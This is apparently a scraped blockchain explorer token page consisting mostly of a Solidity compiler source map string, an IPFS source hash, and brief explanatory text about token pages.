::0;::::1;;;;;-1:-1:-1::0;;5051:6:0;:14;;-1:-1:-1;;;;5051:14:0;;;-1:-1:-1;;;;9385:483:0:o;10044:92::-;10101:10;;:27;;-1:-1:-1;;;;;10101:10:0;;;;:27;;;;;10121:6;;10101:10;:27;:10;:27;10121:6;10101:10;:27;;;;;;;;;;;;;;;;;;;;;10044:92;:::o;1011:179::-;1069:7;;1101:5;1105:1;1101;:5;:::i;:::-;1089:17;;1130:1;1125;:6;;1117:46;;;;-1:-1:-1;;;1117:46:0;;13155:2:1;1117:46:0;;;13137:21:1;13194:2;13174:18;;;13167:30;13233:29;13213:18;;;13206:57;13280:18;;1117:46:0;12953:351:1;1198:136:0;1256:7;1283:43;1287:1;1290;1283:43;;;;;;;;;;;;;;;;;:3;:43::i;1934:189::-;2020:7;2055:12;2048:5;2040:28;;;;-1:-1:-1;;;2040:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2079:9:0;2091:5;2095:1;2091;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:180::-;2829:6;2882:2;2870:9;2861:7;2857:23;2853:32;2850:52;;;2898:1;2895;2888:12;2850:52;-1:-1:-1;2921:23:1;;2770:180;-1:-1:-1;2770:180:1:o;2955:127::-;3016:10;3011:3;3007:20;3004:1;2997:31;3047:4;3044:1;3037:15;3071:4;3068:1;3061:15;3087:416;3176:1;3213:5;3176:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3087:416;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4537:9;;;4568;;4585:15;;;4579:22;;4565:37;4555:71;;4606:18;;:::i;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5350:251::-;5420:6;5473:2;5461:9;5452:7;5448:23;5444:32;5441:52;;;5489:1;5486;5479:12;5441:52;5521:9;5515:16;5540:31;5565:5;5540:31;:::i;6527:306::-;6615:6;6623;6631;6684:2;6672:9;6663:7;6659:23;6655:32;6652:52;;;6700:1;6697;6690:12;6652:52;6729:9;6723:16;6713:26;;6779:2;6768:9;6764:18;6758:25;6748:35;;6823:2;6812:9;6808:18;6802:25;6792:35;;6527:306;;;;;:::o;7117:277::-;7184:6;7237:2;7225:9;7216:7;7212:23;7208:32;7205:52;;;7253:1;7250;7243:12;7205:52;7285:9;7279:16;7338:5;7331:13;7324:21;7317:5;7314:32;7304:60;;7360:1;7357;7350:12;7399:184;7469:6;7522:2;7510:9;7501:7;7497:23;7493:32;7490:52;;;7538:1;7535;7528:12;7490:52;-1:-1:-1;7561:16:1;;7399:184;-1:-1:-1;7399:184:1:o;9970:125::-;10035:9;;;10056:10;;;10053:36;;;10069:18;;:::i;10455:135::-;10494:3;10515:17;;;10512:43;;10535:18;;:::i;:::-;-1:-1:-1;10582:1:1;10571:13;;10455:135::o;10947:128::-;11014:9;;;11035:11;;;11032:37;;;11049:18;;:::i;11080:217::-;11120:1;11146;11136:132;;11190:10;11185:3;11181:20;11178:1;11171:31;11225:4;11222:1;11215:15;11253:4;11250:1;11243:15;11136:132;-1:-1:-1;11282:9:1;;11080:217::o;11836:127::-;11897:10;11892:3;11888:20;11885:1;11878:31;11928:4;11925:1;11918:15;11952:4;11949:1;11942:15;11968:980;12230:4;12278:3;12267:9;12263:19;12309:6;12298:9;12291:25;12335:2;12373:6;12368:2;12357:9;12353:18;12346:34;12416:3;12411:2;12400:9;12396:18;12389:31;12440:6;12475;12469:13;12506:6;12498;12491:22;12544:3;12533:9;12529:19;12522:26;;12583:2;12575:6;12571:15;12557:29;;12604:1;12614:195;12628:6;12625:1;12622:13;12614:195;;;12693:13;;-1:-1:-1;;;;;12689:39:1;12677:52;;12784:15;;;;12749:12;;;;12725:1;12643:9;12614:195;;;-1:-1:-1;;;;;;;12865:32:1;;;;12860:2;12845:18;;12838:60;-1:-1:-1;;;12929:3:1;12914:19;12907:35;12826:3;11968:980;-1:-1:-1;;;11968:980:1:o

Swarm Source

ipfs://47433a8b458806f38425f4ff5dbf748b20c170d1c86d7a70a28ab9cf42511d1e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.